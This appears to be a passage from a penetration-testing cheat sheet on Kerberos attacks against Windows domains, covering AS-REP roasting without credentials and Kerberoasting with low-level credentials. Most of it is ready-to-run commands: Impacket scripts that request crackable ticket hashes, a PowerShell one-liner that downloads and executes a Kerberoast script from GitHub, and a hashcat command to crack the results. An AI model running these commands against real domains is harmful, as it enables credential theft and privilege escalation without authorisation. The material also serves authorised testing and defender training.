Without Authenticated User:
Some user accounts may be configured with ‘Do not require Kerberos preauthentication‘ set. For accounts that are configured in this way, we may not need valid user credentials to extract TGTs for cracking. The following tool from Impacket can help with this.
./GetNPUsers.py -dc-ip <targetIP> -request '<FQDN>/' -format hashcat
With Authenticated User:
Once you have low-level credentials to a Windows domain, you may be able to leverage those credentials to perform a Kerberoast attack against a higher-level user account. The easiest way to identify if a user account is vulnerable to a Kerberoast attack is via BloodHound.
Once you have identified a Kerberoastable user, you can leverage Impacket to perform the attack w/ the following command. This command will require valid domain credentials for at least a low-level user, but it should return the password hash of any Kerberoastable user on the domain.
GetUserSPNs.py -request -dc-ip <ip-addr> <domain>/<user>
Alternatively, you could also use the following PowerShell one-liner.
IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerb-Hash0.txt
We can then take this password hash to hashcat with the following command.
hashcat -m 13100 <hashfile> <wordlist>